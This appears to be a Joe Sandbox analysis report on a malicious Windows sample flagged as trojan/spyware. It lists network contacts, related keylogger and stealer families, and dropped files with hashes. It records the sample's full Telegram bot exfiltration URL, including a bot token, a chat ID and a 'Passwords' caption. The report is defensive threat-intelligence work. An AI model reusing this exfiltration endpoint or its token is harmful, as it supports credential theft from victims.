4AMVusDMPP.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nslE077.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nslE077.tmp\System.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.186.78	true	false	high
drive.usercontent.google.com	142.250.185.129	true	false	high
reallyfreegeoip.org	104.21.32.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.247.73	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189	false	high
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.google.com	4AMVusDMPP.exe, 00000003.00000003.1860487968.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1860381715.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org	4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	4AMVusDMPP.exe, 00000003.00000003.1860487968.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1860381715.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	4AMVusDMPP.exe, 00000003.00000002.3335320934.000000000308D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897	4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	4AMVusDMPP.exe, 00000003.00000002.3358117712.00000000336C1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003369F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/9	4AMVusDMPP.exe, 00000003.00000002.3335320934.00000000030C6000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1896210132.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	4AMVusDMPP.exe, 00000003.00000002.3358117712.0000000033694000.00000004.00000800.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003369F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	4AMVusDMPP.exe, 00000003.00000003.1860487968.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1860381715.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003369F000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	4AMVusDMPP.exe	false	high
http://api.telegram.org	4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/p	4AMVusDMPP.exe, 00000003.00000002.3335320934.00000000030C6000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1896210132.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	4AMVusDMPP.exe, 00000003.00000002.3358117712.0000000033621000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003369F000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.78	drive.google.com	United States	15169	GOOGLEUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.185.129	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
104.21.32.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588355
Start date and time:	2025-01-11 01:21:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4AMVusDMPP.exe renamed because original name is a hash value
Original Sample Name:	815d6b508fab5d16a8190a479fb4b72a3916d9afe21393eeb506098cb1a93c3a.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 162 Number of non-executed functions: 111
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	JGvCEaqruI.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	cOH7jKmo25.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	3i1gMM8K4z.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	2NJzy3tiny.exe	Get hash	malicious	MassLogger RAT	Browse
	z87sammylastborn.exe	Get hash	malicious	MassLogger RAT	Browse
	vnV17JImCH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
104.21.32.1	25IvlOVEB1.exe	Get hash	malicious	FormBook	Browse	www.masterqq.pro/3vdc/
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	redroomaudio.com/administrator/index.php
132.226.247.73	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	z87sammylastborn.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Ddj3E3qerh.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	yqfze5TKW7.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	tVuAoupHhZ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.16.1
	wymvwQ4mC4.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
checkip.dyndns.com	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	yqfze5TKW7.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	tVuAoupHhZ.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
api.telegram.org	JGvCEaqruI.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	cOH7jKmo25.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	3i1gMM8K4z.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	2NJzy3tiny.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	z87sammylastborn.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	vnV17JImCH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	JGvCEaqruI.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	cOH7jKmo25.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	3i1gMM8K4z.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	2NJzy3tiny.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	z87sammylastborn.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	vnV17JImCH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
UTMEMUS	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	H75MnQEha8.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	z87sammylastborn.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	Ddj3E3qerh.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	7b4Iaf58Rp.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
CLOUDFLARENETUS	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	ukBQ4ch2nE.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	yqfze5TKW7.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	JGvCEaqruI.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.16.185.241
	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	Unknown	Browse	188.114.97.3
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://txto.eu.org/	Get hash	malicious	Unknown	Browse	104.21.16.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	yqfze5TKW7.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	tVuAoupHhZ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	wymvwQ4mC4.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
3b5074b1b5d032e5620f69f9f700ff0e	ukBQ4ch2nE.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	JGvCEaqruI.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	J4CcLMNm55.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	J4CcLMNm55.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	ru52XOQ1p7.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	4z8Td6Kv8R.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	4z8Td6Kv8R.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	Cpfkf79Rzk.exe	Get hash	malicious	GuLoader	Browse	142.250.186.78 142.250.185.129
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	142.250.186.78 142.250.185.129
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.186.78 142.250.185.129
	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.78 142.250.185.129
	TVPfW4WUdj.exe	Get hash	malicious	GuLoader	Browse	142.250.186.78 142.250.185.129
	WGi85dsMNp.exe	Get hash	malicious	GuLoader	Browse	142.250.186.78 142.250.185.129
	WtZl31OLfA.exe	Get hash	malicious	Remcos, GuLoader	Browse	142.250.186.78 142.250.185.129
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.78 142.250.185.129
	Setup.exe	Get hash	malicious	Unknown	Browse	142.250.186.78 142.250.185.129

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nslE077.tmp\System.dll	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	WGi85dsMNp.exe	Get hash	malicious	GuLoader	Browse
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

Download File

Process:	C:\Users\user\Desktop\4AMVusDMPP.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 2560x2560, components 3
Category:	dropped
Size (bytes):	484658
Entropy (8bit):	7.809711763657168
Encrypted:	false
SSDEEP:	12288:W1S3xo63wl4biprI2S4WwWEcwxg9dvVAxZOCLF0DB:Wo3xX3y4bz2lWwWo6rSTZyd
MD5:	5C727AE28F0DECF497FBB092BAE01B4E
SHA1:	AADE364AE8C2C91C6F59F85711B53078FB0763B7
SHA-256:	77CCACF58330509839E17A6CFD6B17FE3DE31577D8E2C37DC413839BA2FEEC80
SHA-512:	5246C0FBA41DF66AF89D986A3CEABC99B61DB9E9C217B28B2EC18AF31E3ED17C865387223CEB3A38A804243CF3307E07E557549026F49F52829BEBC4D4546C40
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.....,.,.....]http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5, 2022/05/09-07:22:29 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmp:CreateDate="2018-04-27T15:00:27+08:00" xmp:ModifyDate="2022-09-22T14:01:54+08:00" xmp:MetadataDate="2022-09-22T14:01:54+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:b728d5c8-8822-6d4c-afc1-a393cb2a04ec"

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

Download File

Process:	C:\Users\user\Desktop\4AMVusDMPP.exe
File Type:	data
Category:	dropped
Size (bytes):	112291
Entropy (8bit):	1.249420131631438
Encrypted:	false
SSDEEP:	768:5R+BCpkJWjYWL2MxTVLvUjpGqik9JiAfWA2DBQwD1PzUH+HYZmIo7x31sT:WCZY21w0I2NZYD
MD5:	4D1D72CFC5940B09DFBD7B65916F532E
SHA1:	30A45798B534842002B103A36A3B907063F8A96C
SHA-256:	479F1904096978F1011DF05D52021FAEEE028D4CF331024C965CED8AF1C8D496
SHA-512:	048844A09E291903450188715BCDDF14F0F1F10BEAFBD005882EBF5D5E31A71D8F93EEBE788BD54B4AED2266C454F4DCA18AF4567977B7E773BBE29A38DEA45B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..........P............+......................................................................................................................X......n..(................G...................................m.........\|.......................U.............`............l..............@}.........a........................................s............y.................N...............B...............w.e..........................................Q......*...................................................................................................a...........................f..................p..................t...........................................9.Q................@....................e................................................................:..............P.......S.........................P........................9..............._.......................(...............N............................................................H.T..........c..............................

C:\Users\user\AppData\Local\Iw\Senatsmdets.Uns

Download File

Process:	C:\Users\user\Desktop\4AMVusDMPP.exe
File Type:	data
Category:	dropped
Size (bytes):	286225
Entropy (8bit):	7.710114949306163
Encrypted:	false
SSDEEP:	6144:tIDUHdfSOxO7G+xkFHmRKJCbqkLdzd2DI22C9pYV:t5xhC/6FHQGwqmB+I6S
MD5:	34F265250B7ED15DC0990A62F24E4D46
SHA1:	9B704DA4147DFCF5A8E79E6510344D69BFD4DA51
SHA-256:	ED4A13E1A9C95FCE5A54AB84B479D07F8900E58C6A4B4CE71D442FA3171F4FF4
SHA-512:	C990A4472DB4D9EE7E766DE924AB2A843971BC1624C8A79099709B27BBA04B5223C47362588C1DFD835CD45E14CD03E5D8BD17BC198858BB6AD38DCE316734D0
Malicious:	false
Reputation:	low
Preview:	...................................................::..'......00..................PPP..5555............k.......................C.))..EEE............................K.q.................ii..............v.......555.....................t...........S......JJ............-................................................====.OO...TT..*.j.....??................w.............{..................~............$$$..............................000.A..6666.........N...............\|......A.....4444..[[.VVV....000.......:................K....tt.........--.H...............ww....2..U.......H.`.&&......F.a......%.s...............mmm.....yy..##.A..................................".............kkk..M...aaa..F..........ssss..............................................y.......9..WWWWWW...........%.........uuuuuu..K....................'.....,,..............666.b...=............www..................._..@............OO............TT.........-........GG..V...............e...8.......tt......E......I.BBB...LL......

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

Download File

Process:	C:\Users\user\Desktop\4AMVusDMPP.exe
File Type:	data
Category:	dropped
Size (bytes):	362089
Entropy (8bit):	1.23992084267325
Encrypted:	false
SSDEEP:	768:xOeaameETrlE0+1mGOWb3h5WAV0hW+JSLSwzj2HlSdL0f6mhKZRaqOzWz6szt3cA:x+ds5dYOVxIW3hhdeRt6MeZ1W4vB
MD5:	A4340182CDDD2EC1F1480360218343F9
SHA1:	50EF929FEA713AA6FCC05E8B75F497B7946B285B
SHA-256:	B91E5B1FF5756F0B93DCF11CBC8B467CDA0C5792DE24D27EC86E7C74388B44B3
SHA-512:	021F198AFF7CCED92912C74FC97D1919A9E059F22E99AB1236FBAA36C16B520C07B78F47FC01FCFAC1B53A87CDAE3E440D0589FA2844612617FAB2EDB64A3573
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..........F.............................i.....................B.........................................b..Et.............................O...........h...............................................................................8..........n.....................w.................../.......\|.......'........,..........(...........................W......#..................................................................................................=..........................]..........q................................................[.................2....S............................"...................................$!..............................=.......................................[f.................................................................................................................V.............................w...................................................$.............................................................j...........h.............J..............

C:\Users\user\AppData\Local\Iw\Venke\prepares.pli

Download File

Process:	C:\Users\user\Desktop\4AMVusDMPP.exe
File Type:	FoxPro FPT, blocks size 22, next free block index 285212672, field type 0
Category:	dropped
Size (bytes):	139354
Entropy (8bit):	1.2473328695625903
Encrypted:	false
SSDEEP:	768:9OsMSh8lSnJGyUzWZsO2ipzPFmDZC9kpzroto48tf2+5lVp:9delFlqNawgJp
MD5:	B0FB6B583D6902DE58E1202D12BA4832
SHA1:	7F585B5C3A4581CE76E373C78A6513F157B20480
SHA-256:	E6EA5F6D0C7F5FA407269C7F4FF6D97149B7611071BF5BF6C454B810501AE661
SHA-512:	E0894FFBD76C3476DC083DAFD24F88964BF6E09E4CA955766B43FE73A764A00247C930E9996652A22B57B27826CD94F88B8178514060CA398DE568675F9E4571
Malicious:	false
Preview:	.......................................\|...................................................................+................$......&....A........................................................Z.....................................A...............!.....Y........................l..........9..................c.............f.................F...".................................................h.......................................\..............J............................5......t.....E.................q........................:......^....................................................................................I..........................................................x......W....................................................................................M...........................X..............................,..................m.......................................................................................................................J........ ...F...........

C:\Users\user\AppData\Local\Iw\bolsjerne.Uds

Download File

Process:	C:\Users\user\Desktop\4AMVusDMPP.exe
File Type:	data
Category:	dropped
Size (bytes):	29090
Entropy (8bit):	4.557557000479259
Encrypted:	false
SSDEEP:	768:pHSuQk1y9dJm5jpRjBzovMg5UmxBCedq+:pHb0yRjB5ga+r3
MD5:	E6704DB94EBC651D67A06C37F49BE45B
SHA1:	291DDC7027CB3DEE53C9D67B2EA8200AF11352D2
SHA-256:	EB2552A216C6B17EDCD5C758F162A778047B8EB25F7927C48591FBE87F7EF21C
SHA-512:	4DAB316D438F748E21CCD8865D43BE332712A3BA2A12B7C53FB023E8D59F0429D39E03702E9C20A82B02ECD27133107C448722354E41E382949819EEEBC87542
Malicious:	false
Preview:	...............h................uu.......................................rrr......... .<...a..............`................0..........hh.b.BBBBB........:::.M.....=......;;;.**...-...........s..................ttttttt..$..&..........__......)))))))))..mmm............6.......t................i.............0.....##.......N..........................%.p....................Z...SS........+..................j.FFFFF..............SS...%...ll.....0.....a..........CCC..........```..........BB...........4.......................]........................!!......c........r....r..,.................ttt.......Z........................................:::::...........\|................................m...........................HH.../....hhh.......H.............0...................................>....9.........'.H............................IIIIIII...................44..D..................K...RR...............{{.tt.....S.O.......MM......D.......#.......A...9....???.......t...U..............L......p........

C:\Users\user\AppData\Local\Temp\nsaDEFF.tmp

Download File

Process:	C:\Users\user\Desktop\4AMVusDMPP.exe
File Type:	data
Category:	dropped
Size (bytes):	1439902
Entropy (8bit):	5.50423023217672
Encrypted:	false
SSDEEP:	24576:vI5xhHFHNZm2Ro3xX3y4bz2lWwWo6rSTZye:+tZtRoBXbz2luo6rS1ye
MD5:	C0586E009617EADA0D82E3C7809D4169
SHA1:	DE3E11D2209A23DEECC8CBA975042CBAD8E49C5F
SHA-256:	7A3A77EEC2C93A1792B7B2D3BE81E4E3A8296AC20798B163876B768480E8396F
SHA-512:	ECF2323E8C6AE3438A1BF87DAFFD8910512B02E8C94FA0244192B2DA2DD7711F58135D98A1C9D2316CD19A8C0B6354D8D7D198F84683655EC16212D3997026E3
Malicious:	false
Preview:	,6......,.......,.......\........!.......4.......5..........................M...i............................H..............................................................................................................................................................................G...J...............h...............................................................g...............................................................j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nslE077.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\4AMVusDMPP.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.719859767584478
Encrypted:	false
SSDEEP:	192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
MD5:	0D7AD4F45DC6F5AA87F606D0331C6901
SHA1:	48DF0911F0484CBE2A8CDD5362140B63C41EE457
SHA-256:	3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
SHA-512:	C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
